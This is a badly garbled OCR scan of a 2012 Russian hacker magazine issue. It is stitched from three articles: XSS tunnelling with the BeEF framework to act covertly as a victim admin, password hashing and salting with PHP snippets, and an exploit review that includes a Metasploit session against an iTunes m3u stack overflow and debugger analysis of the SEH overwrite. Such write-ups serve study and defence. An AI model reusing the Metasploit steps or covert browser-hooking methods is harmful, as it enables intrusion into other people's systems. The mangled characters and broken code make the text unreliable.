с ядром фреймворка и ждет от него коп,4анд lсистематически

Итак, опять представим себе ситуацию. Есть сервер с административньr,4 ве6-интерфейсом, есть админ и есть мы, а хотим мы поовнить данный сервачок. Предположим, что каких-то сверхкритичных уязвимостей на вебе найдено не было, а только, скажем, XSS'Ka. И вроде бы все отлично: хватай ХSS'кой куки, и вперед| Но как бы не так. Как минимум, проблемой может стать установленный сервером для кукисов флаг НТТРOпlу, который не даст нам возможность вынуть их из браузера админа. !ругой проблемой может стать фильтрация по lР доступа к веб-серверу или к самой админке. И что же тогда делать? 0рганизовать туннель через XSS. Что бы там ни говорилось о продвинутом использовании XSS'oK, но самым мощным payload'oM, я думаю, является как раз ХSS-туннель. Зачем нам аутентификационные куки, когда мы можем напрямую выполнять какие-то действия на сайте от имени нашей жертвы? Но постой, ,Щавай посмотрим, что же такое ХSS-туннелинг, Если говорить в обцем, то это специальный JачаSсгiрt, который подгружается ХSS'кой нашей жертве,,Щалее этотJS открывает какую-нибудь страницу на атакуемом сайте и полностью ее нам пересылает, Mbi видим ее в своем браузере, кликаем, куда нужно, но наши действия не выполняются браузером, а передаются обратно в этот JS, который и произведет необходимые действия на атакуемом сайте, но от имени жертвь. Причем жертва об этом не будетдогадываться. 0писание, конечно, очень общее, для понил.4ания идеи. На практике все прOисхOдит нескOльк0 слOжнее, кOличеств0 элементов несколько больше, и это мы сейчас рассмотрим на примере ВеЕF. ВеЕF это специальнь й фреймворк для проведения мощных и глубоких атак на браузерь с использованием XSS'oK. На самом деле, может быть, не очень хорошо получается, что описывать такую прекрасную вещь, как ВеЕF, мне приходится в несколько строк, ведь она заслуживает отдельной статьи. Но я думаю, что в следующих выпусках мы эт0 пOправим, Итак, ВеЕF представляет собой трехкомпонентную систему: 1. Браузерыжертв-hоосkеd Ьгоwsегs. БраузерьL,вкоторыенам удалось подгрузить свой, а точнее ВеЕF'а, JачаSсriрt-код. 2. ЯдроВеЕF'а-главноесвязующееи всеобрабатывающеезвено. 3. Интерфейс ВеЕF'а, к которомуатакуюций подключается, ис-

-

пользуя свой браузер, и через который он может"управлять>

жертвами. На самом деле не совсем управлять, скатьте или иные атакующие мOдули.

а

скорее запу-

Если посмотреть на это в процессе, то атакующий с помощью XSS'oK или просто заманив жертву себе на сайт, подгружает ей в браузерJS ВеЕF'а, Щанный JS uустанавливает соединение>

стучится]. Атакующий через интерфейс может указать действие для какого-нибудь из браузеров жертв, выполнить сканирование портов например. Ядро, получив от атакующего команду, переправит к жертве еще дополнительный кусок JS, которь й исполнит указанную команду [то есть сканирOвание портов), а результат отправится обратно в ядро. Кроме сканирования портов, можно в любой момент подгрузить какой-нибудь эксплойт, например, и захватить контроль над тачкой. На самом деле это очень мощная штука. Получается, что люди как бы садятся на крючок.., Но вернемся к туннелю. 0дним из атакующих модулей ВеЕF'а является Tunnel Рrоху (aka ХSS-туннель), Р,ля того чтобы сделать ХSS-туннель. нам потребуется прописать в нашем браузере специальньlй прокси-сервер от ВеЕF'а lпо умолчанию 127.0.0.1, порт 6789). После этого все клики в нашем браузере (то есть НТТР-запросы) будут обрабатываться этим прокси. flaHHb й прокси, получая запрос от атакующего, модифицирует его специальным образом и переправляет JS модулю ВеЕF'а в браузере жертвы. Этот мOдуль выполняет запрос на атакуемый сервер. но от имени заХSS'енной жертвы. Результаты запроса {НТМL-страничкаl получаются этим JS-модулем ВеЕF'а и переправляются обратно в ядро ВеЕГ-'а,0ттуда данные конвертируются и передаются на ВеЕF-прокси, который, в свою очередь, отображает страницу для браузера атакующего. То есть фактически атакующий видит то, что (видитD жертва, !алее атакующий может вь полниIь еще какое-то действие, например ввести какую-нибудь форму и отправить ее. Все эта операция повторится, JS ВеЕF'а отправит от имени жертвь данный запрос, и результать его попадут обратно атакующему, ,Д,умаю, что теперь все стало достаточно понятно. Как видишь, это фактически удаленное управление, Теперь о плюсах, минусах и тонкOстях. Важно помнить о тOм, что отправляемые JS-модулем ВеЕF'а запрось от браузера жертвы на атакуемый веб-сервер lадминку) будут содержать аутентификационные куки в заголовках, то есть атакующий будет иметь аналогичнь й доступ в админке, что и жертва, Во-вторых, большим плюсом здесь является то, что жертва не знает 0 действиях, которые производит атакующий от ее имени. Это возможно потому, что мы можем, например, заманить жертву к нам на сайт, а на нем в скрытом фрейме открыть сайт-админку и через XSS'Ky в нем подгрузить JS от ВеЕF'а, И пока жертва будет на нашем сайте, мы можем производить нашу атаку. Атака с t ановится еце более опасчой, когда мы находимся в одном сегменте с админом [жертвойl и можем проводить МlТМ-атаку lагр spoofing, напримерl. В данном случае мы можем вставлять такой скрытый фрейм во все открываемь]е админом вебстраницы lкоторые передаются по НТТР] и поддерживать атаку таким образом до победного конца. Из минусов и тонкостей стоит отметить, во-первых, то, что, в отличие от многих других модулей ВеЕF'а, при Tunnel Рrоху JS ВеЕF'а должен быть подгружен именно через XSS на атакуемом сайте. Это важно для того, чтобы не нарушать кроссдоменные политики lSOP] и иметь возможность выполнять аутентификационные запросьL и пOлучать на них ответы. А во-вторых, так как у нас есть передающее звено lJS-модуль ВеЕF'а] и мы работаем не напрямую с с серверOм, т0 мOгут вOзникнуть труднOсти практическOг0 плана отображением контента или не очень корревтной работой с запросами, когда используются какие-то странные технологии :). 0пять же, с точки зрения совсем практической, здесь особо рассказывать нечего: требуется вь брать жертву, указать модуль ТuппеlРrоху и настроить свой браузер на прокси ВеЕt'а, 3десь лучше все своими глазами увидеть ( l, а еще лучше попробовать своими ручками. Вот и все, надеюсь было интересно, Успешных ресерчев и по знании нового|

-

Ё

хдКЕР

а9 l1b|,l 2012



взлоl,|

тор_30 пАролЕЙ из утЕкшЕЙ БАзы LINKEDIN

ье99 оо

"&ъе

;

-оо

еI, .

пароли, как сложные, так и простые. Механизмы заlлиты паролей, фигурировавшие в историях этих утечек, настолько примитивны, чт0 при желании для вOсстанOвления исхOдных данных мOжно

.

тогоlчтобы понять, насколько эффективен метод хеширования паролей, давай ознакомимся с существующими способами <восстановления), значения, скрываюшегося за хешем. Их не так много, и я думаю, ты слышал обо всех. 1. Брутфорс [Вrчtfогсе| различаютосновные три типа брутфорса: чистOм

вилqе

помощи средствGРU,. Современные видеокарты, поддерживающиетехнологию CUDA, АМ D 0penCL, позволя ют переби рать все возможные комбинации шестизначных паролей меньше чем за минуту, а семизначне бол ьше чем за шесть ми нут. Используя технологи и типа н ые СrоssFirе и Stгеаm, можно и вовсе объединять видеокарты в один массив для более эффекти вного перебора. Скорость перебора значения при этом может быть рассч итана по формуле: пере--б-р-ра-_,(!{).... ...

.

___,_,,на,._ll1цко-.л-ичеqт_в-е..вЦде-о,карт---......-.....

---.---t-,.=..(.0iYN1 -f-.-N2---t.,N3.

+

.,,

-

t.

- -Nл.\

12..

_.....

2. Переборпо<RаiпЬоwtаЬlеs>[радужныетаблицыl-посути,это

-

в

экстремальный|ехtrеmе}-переборпри

,,,.,..с.редц.ее_--9реця.,-(t).

тотже перебор,только с использованием заранее сгенерированн ых специальнь! м образом табл иц. 0чень эффекти вно применять

тупойldчmmуl-переборвсехвозможныхзначений.Этотподход дOвOльн0 устарел и

ых шаблоно в геgехр, а также с применен ием разл ич ного рода

словарей;

-

,Щля

о

щаблонный(tеmрlаtеl-переборсиспользованиемспециальн

использовать минимальные ресурсы. Стоитли в таком случае говорить о том, насколько уязвимыми мы становимся с неустойчивыми хешами, которые легко вскрываются ресурсами китайской 0ЕМвидеокарты стоимостью 42 доллара? Возможно ли суцественно усложнить злоумышленникам восстановление паролей пользователей с утекшей Бfl? Возможно! Сегодня я расскажутебе о том, как снизить риски восстановления паролей из неустойчивых хешей.

еее

уже не применяется нигде;

0шиБкА нАчинАюlцих криптOАнАлитикOв Многие начинающие криптоаналитики считают, что схема l..l$hashllll будет добавлять раунды в SHA1. Все было бы иtiенно так, если бы не одно фундаментальное свойство алrоритма SHA1. Из неrо следует, что вычислительн0 невOзмOжно написать такую функци ю SHA1 000, которая будет эквивалентна SHA1 (SHA1 (SHA1

тысячекратноl.tу вложенному вызову SHA1 и при этоtt будет легко вычислима. Обрати вниt{ание, что результат SHA'l (SHA1 [..($hashlll - это не то же catroe, что добавить больше раундов внутрь SHA1, так как Ta].,i есть еще пре- и постобработка. Результатоtt такоrо хеширования может стать невыгодный во всех отношениях расход процессорныfрЁсурсов.

хАкЕр

09 /164/ 2012


Сага о криптостойких паролях

противдлинных паролей. Скорость перебора ограничивается лишь скоростью процессора и быстродействием памяти.

п Из всего сказанного ты, наверное,

должен был понять, насколь-

ко неустойчивы современные криптографические алгоритмы хеширOвания к сOвременным реалиям атак. Есть несколько путей снихения рискOв на урOвне алгOритмов:

1. Использованиеболеекрt.tптостойкпхалгорит}rов.

2.

i,lаринованпе суцествующиххещей. Под маринованием имеется в видуспособ искусственногоусложнения пароля, называемый накладыванием соли. Соль представляетсобой набор различного рода символов, обычно это символы обоих регистров, цифры и спецсимвOлы, кOтOрые накладываются на готовую хеш-сумму пароля или склеиваются с ней.

$раsswогd = "pa5swd"; // Введенный пользователем простой парольJ который с вероятностью 99,9% будет в радухt!ой таблице типа low-alpha echo sha1($password); 1/ По понятным причинам мы больше не используем алгоритм mdS для хgшцровrния ,;-) $salt = "S$a(!Ф$%"178856)$11_s2':; 11 Испольэуя случай1 ный

набор

симвоjовJ.

мь! цохем

изценить

значение

хеша

echo shal($salt . $password)j 1/ Д вот хеш ддя мариновац: ного пароля с солью /1 Такая комбинация параля и его хеша не найдеlqя ни

в одной радуr(ной таблице

Статическая соль и подобные конструкции могут служить дOстатOчн0 хOрощ0 д0 тех пOр, пока структура этих конструкций и соль хранятся в тайне. Если же злоумышленник сможет раз-

0сновная задача соли намеренное удлинение пароля, котOрое значительн0 0сложняет восстановление исходных паролей с помощью предварительн0 построенных радужных таблиц. При этOм над0 учитывать, чт0 сOль не защищает от полного перебора каждого лароля в отдельностиI Ниже приведен список наиболеепопулярных типов солей.

реверсить алгоритм и узнать зашитый статический Iчто вахно!] секретный ключ хеширования, то уже понятно, что ему не составит труда модифицировать под себя свою таблицу>. "радужную так как полагаться на систему защиты сервера нельзя, нужно искать другой вариант. Более удачным вариантом может стать генерация уникальнОй соли для каждого юзера на основе его идентификатора, который закрепляется за ним после регистрации на ресурсе:

md5($paSs.$salt) md5($salt.$pass)

$hash =

-

mds(mds($pass) ) md5(mds(mds($pass)

vвu]letin

<

чз.8.5

,// Генерируем случайную строку миной в 22 символа function unique_salt() {

md5($SaIt. md5($pasS) ) md5($salt. $pass. $salt)

геtuпп substr(sha].(mt_гand(

$pass

) . md5

($5alt

md5($salt.md5($pass.$salt) >

чз.8.5

$usегпаmе. О. $ра ss ) ( Stгtоuрреr(md5 ($pass

$unique_Salt = unique*salt(),;

shal($pass.$salt) s

ha].

(

$sa

lt

.

в

)

sha1

(

-

надо отметить очень важный нюанс уникальную соль также нужно будет заносить в базу попутно с хешеNi как двойную пару. Но даже получив к ней доступ, злоумышленник вряд ли сможет сгенерировать нескOлько миллионов радужных таблиц размером в добрые тысячи терабайт:). ,!,авай немного поговорим о плюсах и минусах методов и алгоритмов хещирования. С одной стороны скорость, с другой безопасность. Казалось бы, чем быстрее, тем лучше для пользователей: вO-первых, меньше нагрузки на сервер, во-вторых, скоростная регистрация пользователей. Хотя чем больше скорость хеширования, тем быстрее его сможет вскрыть и злоумышленник. По сути дела,

)))

$pass )

shal(sha1($pass)) Shal(shal(sha1($pass) stгtоlоWеr

(

)

sha1($unique*salt $password); 1/ Заносим переменную hash уникальный маринованный хеш

$hash =

)

md 5 (

md5

)

$ч5егпаmе ) . $pass )

-

Приведем пример простейшей маринованной защиты с применением статической соли от радужных таблиц md5[sha1 [md5{$pass]]] на РНР:

Н

,__--__. Rз.

Н

._._-.-.

Н

._.i-... Rl.

,+i.i:1::.;+

Н *;

.-__--.. Ra gKpmwiB+

Rr

.+li::,T..;=+

ф:'оlеm+;+ Схемаупрощенной радухнойтаблицы сдлпной цепочек, равнойтрем. Ц, R/ R]-функцrи редукции, Н-функцf,яхещирования

хАкЕр

09 /]641 20]2

),0J 22);

) ))

mds($saIt. md5($salt. $pass)

vBulIetin

)

}

md5(md5($saIt).md5($pass) (

$passwond);

идеальный вариант- генерировать полностью уникальную соль:

))

mds(mds($saIt). $pass)

md5 (md5

sha1($user_id


взлOм ф

оо

fish /mеdiа/2зfdldо9-Ь9Е7-42f7-аЬ74-64з24з4сlь67/рt

2fttвпеmй rцftл поrrуmрБп крmтрафпескш юшGll

ФушЕш

1990

l99l

1992 199З 1994

1Я5 l99б

1997 1998 1999 2000 2001 2002 2003 2004 2005 20Об 20О7 20О8 ?0О9

Snefru юd

ш5 MD2 RIpEMD EAvAl,-12s

:frl R]PEMD-128

RIPEMD-lбo

Hashcat поддерхивает восстановление пароля из (соленых) хещей

SIаД-2

fmily

Iсmч

ЕG

щомш

O*6r*I

Жизненныйциклпопулярныхкриптографическихалrоритмов

это палка о двух концах, тут очень важно подобрать золотую середину. Как я уже сказал не знаюцему матчасть злоумь]шленни-даже ку ничег0 не стOит при пOмOщи уже гOтOвь]х инструментOв и метOдик

бь,стро перебрать большrlство из судес-вуюIr'х гаооле;, Конечно же, можно заставить пользователей нашего ресурса изобретать пятнадцатизначные пароли с использованием цифр, букв верхнего и нижнего регистра, специальных символов. Но понятнOе дел0, чт0 при таких раскладах существующие пOльзOватели этого ресурса просто-напросто разбегутся, а новые будут обходить его стороной, придется потратиться на Хочешь повь сить безопасность

ресурсы и время, причем соотношение

' сгурt( 'Sапjаг_SаtSuга' '$1$Sапjаг$') "\п";

echo 'lЧDS: }

(сRYPT_BLOWFIsH ==

echo'Blowfish:'

(сRYPT_SHA256 ==

echo

"5$а( !@#$%"17BB5G)$11_S2";

{

sha1($unique_salt $раsswогd); -]-: з! ц,( ,,-- ia?a :a: " :-.,i:

(сRYPT_SHA512 ==

echo'SHA-512:'

=

'

D:

:,_,'':-,.

0; $i

< 100а; $i++)

$hash = sha1($hash);

{

1)

{

'

сгурt( ' Sапjаг_Sаtsuга

$ha

s

Удобнеедля замедления хеш-функций использовать различные криптографические алгоритмы, встроенные с РНР 4,0.З2 и реализуемые через функцию сгурt(]:

blowfi sh_hash($passwoгd,

сгурt(' sапjап_sаtsuга'

}

1)

echo 'Extended DEs:

(сRYPT_MDS ==

1)

{ '

"\п";

{

1

.$unique_salt);

} _

DES:

J9..Sanj')

$unique_sa]t)

сrурt($раsswопd,'$2а$10$'

{

''\п''.;

(сRYPT_EXT_DES ==

)

Если второй аргумент функции сгурt не будет передан, он будет выбран случайным образом, так что соль генерируется полнOстью случайно, Золотой серединой метода замедления хеш-функции это является применение криптоалгоритма В owfish. В owfish способ шифрования с медленнь м алгоритмом разделения ключа (сам алгоритм довольно быстр после выполнения разделения ключа lkey schedulingJ, а также когда необходимо зашифровать большое сообщение с одним ключом), По современным меркам ИБ такой код должен обеспечить максимальную безопасность.

?php

echo 'Standaгd

сгурt('sапjап_sаtsuга'

$6$гоUпdS=5000$usеsоmеsillу5tгiпgfогsаlt$'

-

Если злоумышленнику для того, чтобы сломать восьмисимвольнь й пароль, на мощной видеокарте потребуется около 55 часов, то после применения метода замедленного хеширования перебор всех знаiений уже составит семь лет. РROFlТ| ;-]

a:., ,:aa.i s;]:

{

?>

h;

(cRYPT_STD_DEs == 1)

1)

}

}

.

'SHA,256:

}

}

<

сгурt('sапjаг_SаtSuпа' "\n"

'$5$гoundS=5oao$USeSomeSillystгingfon5alt$') "\n"

з L",(re ,]a-ai-..]\, ($i

{

}

ресурсь /время прямо про-

mуhаsh($раsswогd, $unique_saIt)

$hash =

1)

'$2a$07$USeSomesillystningfonSalt$')

пOрциOнальн0,

$saIt =

,

сгурt(' Sапjаг,SаtSuга','_

гt

J

ЗАКЛЮЧЕНИЕ

Сильная криптография, если все сделать верно, дает многое, но она не панацея, Сосредоточение на криптографических алгоритмах, сOпряженнOе с игнOрирOванием 0стальнь х аспектOв не построив безопасности, пOхоже на попьlтку защитить дом забор вокруг него, а установив огромный столб в надежде, что противник налетит прямо на него. Сообразительный нападающий просто обойдет алгоритмы. Иногда, изобретая новый способ взлома системы, мь] используем те же старые ошибки, которь е хорошо заразработчики повторяют снова и снова, Все новое бытое старое.

t

-

хАкЕр

09 /]641 20]2


Сага о криптостойких паролях

АвтOр MD5сRYPT пOдчЕркнул нЕБЕзOпАснOсть дАннOг0 АлгOритмА И ПРИЗВАЛ ПЕРЕЙТИ НА БОЛЕЕ СТОЙКИЕ МЕТОДЫ ХЕШИРOВАНИЯ ПАРОЛЕЙ Под впечатлением 0т утечки нескольких миллионов хешей паролей пользователей сайтов Linkedln, еНагmопу и Last.fm, ПолХеннинг Камп lPoul-Henning Kampl, объявил, что созданную им в 1995 году реализацию системы хеширования паролей mdscrypt больше нельзя считать безопасной. по словам пола-хеннинга Каtiпа, md5сгурt исчерпал себя как алгоритм хеширования паролей. Современные инструменты подбора паролей, способные проверить миллион комбинаций в секунду,

благодаря задействованию средств

GРU-акселерации }.lогут восстановить любоЙ семисимвольныЙ пароль по хешу md5 меньше чеt4 за шесть 1.1инут, а для шестисиtlвольного перебор всех значений и вовсе будет составлять примерно t"tинуту. Так как во }.{ногих системах для хеширования паролей по умолчанию попрежне}{у используется md5crypt, ПолХеннинг Камп призвал польэователей и разработчиков 0С перейти на более

стойкие алгорит1,1ы. Пол-Хеннинг не указывает на конкретный

алгорит},{, н0 советует использOвать

некOтOрые метOды повышения затрат вычислительных ресурсов, например цикличное влOженное хеширование или комбинацию результатов разных алгоритtlов хеширования..Д,ля сайтов с более чем 50 тысячами пользовательских аккаунтов ПолХеннинг Камп порекомендовал испольэовать

собственный },t одифи цирова нн ы й алгор итtt, базирующийся на стойких хешах, таких как SHA [чтобы организовать процесс подбора паролей для нестандартного алгоритма, дополнительно потребуется определить и воссоздать его логику].

tтппl

пOчЕму сущЕствуЕт уязвимOсть?

. Про доrмы в криптографии:

Прежде чем ответить на этот вопрос, нужно понять, почему

.6аза хещей Linkedln: bit.lylKhFth]; . нейноrо о хещах

уязвимости

бывают в криптографических

алгорит}.lах

хеширования. Ведь основной целью применения криптографии иэначально являлось cKpbiTb инфорttацию и, как следствие, сделать практически невоэможной расшифровку захешированного сообщения, поскольку циклические алгорит},{ы хеширования были изначально подвержены коллизиям. Чтобы это понять, не нужно быть крутым математикOм. Еще недавно (примерно шесть лет назадl коллизии для криптографических

алгоритмов хеширования ttlогли показаться фантастикой, а сегодня этим уже никого не удивишь. Некогда <устойчивые> алгоритtilы хеширования MD4/MD5, ставшие стандартами де-факто во многих проектах и решениях в области продуктов информационной

безопасности, теперь полностью безнадежны и должны быть 0тправлены тOлько в 0дном направлении... да, ты угадал: в самое /dev/null :l. Примерно то же самое происходило в 1995 году с алгоритмом DES. Последствия, которые он оставил, до сих пор дают о себе знать. Но почему, осознавая, что алгорит1.1 более не безопасен, мы продолжаем его использовать? Воэможно, потоtilу, что просто привыкли к этим алгOритмаt{ хеширOвания, ведь 0ни прочно вOшли в нашу жизнь. Хотя есть еlле один важный момент: леньматущка, и от нее никуда не денешься, ага :|. Более подробно 0 кOллизиях криптографических функций и типах атак ты можешь прочитать в моей статье <0пасный двойник>, опубликованной в номере 159 нашего х<урнала. Если хорошо разбираться в математике и прикладной криптографии, есть возможность найти ошибку в алгоритме хеширования, так как чем сложнее алгоритм, тем больше вероятности

ее нахождения. Надо понять такую веlль: как и в програ},{мировании, чем больще

в криптографии,

проект, Tet больше ошибок. Людям свойственно ошибаться, поэтому при поиске ошибок всегда есть надежда на незаменимый в этой области человеческий фактор:|. При портировании криптографиQеских алгоритt,lов и написании

хлкЕр

а9 /1b/+l2012

bit.ll0010AN;

обертки также не исключено появление ошибок. В качестве примера tlожно привести набор замечательных ошибок, недавно обнарух(енных в реализации класса RSАСrурtоSеrчiсеРгочidеr библиотеки .NET Fгаmеwоrk. Как оказалось, заявленные в классах RSАСrурtоSеrчiсеРrочidег и DSАСrурtоSеrчiсеРгочidеr методы SignHash имеют глупейшую ошибку, которая заключается в псевдорандомизации трех иэ четырех блоков. Итог: +75% к атакам на RSA шифрование в VМ .NET. Многие журнальные и научные статьи любят описывать криптографические продукты в терминах алгоритtlов и длины ключей. Алгоритмы благозвучны: их описание может быть немногословным и их легко сравнивать друг с другом. (l28-битные ключи означают высокую степень за|литы>. <Тройной DES означает высокую степень защиты>. .40-6итные ключи означают низкий уровень защиты>. (2048-битный RSАлучше 1024-битного RSA>. Но в реале все не так просто, Более длинные ключи не всегда означают лучшую защиту.,Д,авай сравним криптографический алгоритм с замком на твоей входной двери. Большинство дверных за}пков имеют четыре металлических штифта, каждый из которых t4ожет находиться в одном из десяти полох<ений. Ключ устанавливает штифты в особой комбинации. Если ключ устанOвит их все правильно, замок откроется. Таким образоl,t, может быть только'l0 тысяч различных ключей, и вэломшик, готовый испробовать их все, обязательно попадет к тебе в дом. Но улучшенный эамок с десятью штифта},1и, дающий l0 миллиардов возможных ключей, часть из которых, несомненно, будет забракована или будет содержать дефект, естественно, не сделает твое жилиlле безопаснее, Гlравильные хеш-крекеры не испытывают каждый возможный ключ [атака <в лоб>l, большинство даже не настолько хитры, чтобы взломать замок lкриптографическая атака на алгоритt{l, и используют гOтOвые инструменты и рекомендации. Лучшие замки не спасут от таких атак, пока будут существовать ошибки в алгоритмах прOектирования.

и

безопа(ном

хранении паролейi bit.lY/OYWn(Y; . time-memorytrade off и нерадужные таблицы:

bit.lyloywzsJ;

. матчасть по

радужным таблицамi bit.lч/пzЬitlz;

. oclHa5hcatнаилучщий GPU-

брутфорсер|iаs!саt. net/oclhashcat; . готовые радужные таблицы:

Ьit,IуlЦrlЦцЕ;

. 0пliпе Hash Generatог l345 алгоритмовl:

bit,lylcHved.

щ

всевозможные реалхзации

маривованнOrо хещирOвания ты мохещь найти в библиотеке.

пред(тавленной

на нашем диске lsгс/ php_salthash_fun(tion.inc.phpl.


И снова мы фаззер запустим, И снова он выдаст нам сбой.

Сюжет

л

икованья опустим,

Эксплоитомейкеры,

Фы

t

в бой!

0бзорЗ

цмпш В(я информация предOставлена

исключительно в 0знакомительных целях. Ни редакция, ни автOр не несут 0тветственнO(ти за любой вOзможный вред, причиненный материалами данной статьи.

эксплоитов

1

Apple iTunes 1 0: переполнение буфера на стеке при обработке расlлиренного m3ч-файла

lllltllaý IAV:

щЕ

релиза: 25 и ю ня Автор; Rh0, siппЗr СVЕ:СVЕ 2012 0677 ,Щ,ата

20

1

2

N/AC : It4/AU : N/C : С/l :С/А:

С

l]

данном случае речь пойдетоб ошибке переполнения буфера на стеке в версиях iTunes, начиная с 1 0.4,0.80 и заканчивая 10,6.],7. Когда открь1вается расширенный mЗu файл, содержащий тег(#ЕХТlNF:>, i Iunes копируетданные, располаrающиеся последанноготега, без каких-либо проверок. Копирование происходит из буфера в куче в буфер на стеке, при этом осуществляется записьданных за границы буфера на стеке, что привOдитк возмOжнOсти 8ыполнения произвольнOг0 кOда в контексте п ол ьзо вателя, за пусти в шего п роцесс iTu п es'a,

щего рассматриsаемой

с

запуска модуля для MetaSploit, соответствую-

уязвимости:

msf > use eXploit/Windows/bгoWSeг/apple_itunes_extended_mЗu msf exploit(apple_itunes_extended_mЗu) > set uгiраth ехm

uгiраth

=> ехm

msf expIoit(appIe_itunes*extended_mЗu)

taгget

саlс.ехе

SRVHOST 0.

>

set tагgеt

msf exploit ( apple_itunes_extended_m3u seI payload windows/exec payload => wlпdоws/ехёс msf exploit(apple_itunes_extended_mЗu)

yes

The

m3u):

local host to llsten

8а80

yes

SSL

false

no

Negotiate ssL

оп.

соппесtiопs

SSLceгt

no

sSLVeг SSLз

по

URIPATH

Listen

for iпсопiпg

path to о custoп ssl сегtifiсаtе (defauLt is rапdоmLу gепегаtеd)

ехm

specify the чегsiоп of

ssLthat ShouLd Ье used (accepted: ssL2, ssLЗ, TLs1)

The URI

по

to use foP this

expLoit (defauLt is

rапdоm)

Payload options (windows/exec) Name Счггепt set Requiгed Descгiption :

cMD

саlс

ехе

уе5

EXITFUNс

ргосеSS

yes

.

The command stning

to execute Exit technique:

thгеаd, ргосеss,

Seh, попе

Exploit tагgеt:

)

>

Set cmd саlс.ехе

on.

SRVPORT

0

=> 0

а.0.0

opt ionS

Thls must Ье ап addгess on the local machine ог 0.0.0.0 The LocoL роrt to

года

В

щцЕ Начнем наши изь скания

cmd =>

msf exploit(apple_itunes_extended_m3u) > show lЧоdulе options ( exploit/windows/browseг/apple_itunes_extended Nаmе Счrгепt set Requiгed Descгiption

Id 0

Nаmе

j.Tunes 10.4.0.8а

оп ХР SРз

to 10.6,1.7 With

Quickтime 7.69


msf exploit(apple_itunes_extended_m3u)

>

[*] Exploit гuппiпg as background job.

eХploit

[+] Using URL: http://0.0.o.o:8o8o/exm

[*]

Loca]" IP

:

h1.tp

|

[*] Sегчег staгted.

/ /

>

Итак, сервер за пущен, Идем на ма ш и ну, на кото рой у нас установлен пеs. За пускаем та м l пtегпеt Ехрlоге1 iTu nes; атта чи мся к iTunes от-

ладчиком, вбиваем

в

адресной строке Ефразу http://192.168.0.64:8080/

exm и парусекундждем результата. Результат является к нам в облике ACCESS Vl0 LATlON при попытке зап иси по адресу 0х1 30000 после исполнения следующей инструкции:

10СЕ9А7А ЕР

lЧОVS DWORD PTR Es:[EDI],DWORD PTR DS:[ESI]

Перейдем на начал0 функции, к которой относится данная инструк-

ция. и поп ытаемся пон ять, что за зверь п редстал на ше му взору. l DA, к сожален и ю, 0поз нать его н е смогла, ну и ладно п обудем сегодня

-

сигнатурными нищебродами. Путем бесхитростныхумозаключений приходим к выводу, что переднами красуется stгпсруlсhаг*dеstiпаtiоп, const сhаг *Sоuгсе. size_t пum]. Вызывается она отсюда: 1аз 56949 1аз 5694А

10з5694D

10з5694Е 10з5694F 1gз56954 10з 569 58 1аз 5695с На

PUSH EsI ADD Едх,8 PUSH Евр PUSH ЕАх

cALL stгпсру

j <---

GSОIЧ!

MoV EAX,DWORD PTR SS:[ESP+4с] MoV Ecx,DWORD PTR SS:IESP+24] ADD ESP,oc

стек при этом кладутся следующие аргументы:

0012ЕЕбС ООt2r62О ОО72ЕЕ7О О5АlС429 oot2cE74 ОООООFt7

j

;

j

адрес на сrеке, куда мы будем писать адрес в кучеJ откуда мы будем читать размер копируемых данных

0тветственным за бесформенное безобразие, связанное с переполнением буфера, будеттретий аргумент, представляющий собой размер копируемыхданных и в нашем случае равный 0xff 7. В дельта-окрестности этого вызова. к сожалению, не было кода для проверки упомянутоготретьего аргумента, и вкупе с тем фактом, что функция stгпсруявляется небезопасной, исполнение функции с подобными аргументами приводитк столь печальным последствиям... 0чев идно, что сте к после буфера, куда происходила зап ись, п ревратился в месиво. Но что не может не радовать- меси во, на м п одвластное. В процессе перезаписи мы вышли за границы буфера на стеке и перезаписали своими данными адрес вOзврата, также располагаю-

щийсянастеке.Впринципе,наэтомможнобылобыостановитьсяипо-

лучить классический тип эксплойта. Но в данном случае авторы пошли дал ь ш е и п е реза п исал и та кже S Е Н - цеп оч Kyl п рев рати в тем са м ы м обычный классический эксплойтв SЕН-эксплойт. Ну а для того, чтобы передатьуправление на перезаписанный адрес SЕН-обработчика, 0ни прOдOлжили гадить в стек, пока неуперлись в упоминаемый выше ACCESS VlOLATION при попытке записи по адресу 0хlЗ0000. Управлен ие в с вя з и с эти м пе редал о с ь на ко нтрол и руе м ы й SE Н -обра ботч и к, далее на ROР-цепочку, задачей которой является вызов функции ViгtUа lРгоtесt для уста н ов ки п ра в доступа на испол не н и е стра н и ца м памяти, содержащим шелл-код [дабы обойти DEP]. И последний шагсобственно передача управления на шелл-код, Занавес.

lшЕЕ iTuneS

щI

1

0.4.0.80-1

Существует

об

н

Арр!е OuickTime переполнение буфера

на стеке при обработке ТеХ1.1L-файла

r92.1,68.o.64:8o8o/ ехп

msf exploit(apple_itunes_extended_m3u) iTu

В

0.6.1.7.

овл ен ие. устра ня ющее да

н

ную уязви мость.

llllltlIltili

х

щЕ

IAV:

рел иза: 28 и ю ня 201 2 года Автор: Alexa п dег Gачгu п, siппЗr, jua

N/AC: M/AU: N/C :C/l : С/А:С)

,Д,ата

п

vazquez

CVE: CVE-201 2-066З При обработке специальным образом сформированногоТеХМL-файла

происходитпереполнение буфера на стеке, что приводитк возможности выполнения прOизвOльног0 кOда в кOнтексте пользователя, запустившего процесс 0uickTime.

щцЕ модуле эксплуатируется

ошибка в компоненте процессе обработки атрибута'соlог'. 0шибка п роя вля ется из-за некор ректной п роверки раз м ера да н н ы х перед их копированием в буфер фиксированного размера, располагающийся на стеке. Ниже представлен цикл, в котором и происходитзатирание всегоживого на стеке: В

данном

0uickTimeЗGPP.qtx

в

.tехt:67ЕбDOЕ0 1ос_67ЕбDOЕ0: ; сODE XREF: vulnfoo+1FIj ,text:67EбDOEa add есх, 1 .tехt:67ЕбDOЕЗ mov IeSi], а1 ; <- падаем с AccESS VIOLATION ,tехt:67ЕбDаЕ5 mov а1, [есх] .tехt:67ЕбDаЕ7 add esi, i. .teХt:67EбDOEA add dl, 1 .teХt:67EбDOED сmр

aI,

; в процессе записи ; адресу Охl4ОООО

по

bJ.

.text:67EбDOEF jnz Shогt loc

67ЕбDOЕ0

Как и в предыдущем случае, мы имеем дело с SЕН-эксплойтом, поэтомуадрес SЕН-обработчика перезаписан нашим значением:

SEH

chain of main thread

Addгess

5Е hапdlег

ОOlЗСЕ78 QuickT_2.66801042 601Е06Ев **+ сoRRUPT ENTRY

++*

То есть после того, как в результате исполнения инструкции <mov [esi], аl> будет сгенерировано исключение ACCESS_VlOLATlON,

управление перейдет на следующий код:

668o1042 5F рOр

668оlо4з 5Е 668о10lи сз

EDI

рOр ESI RETN

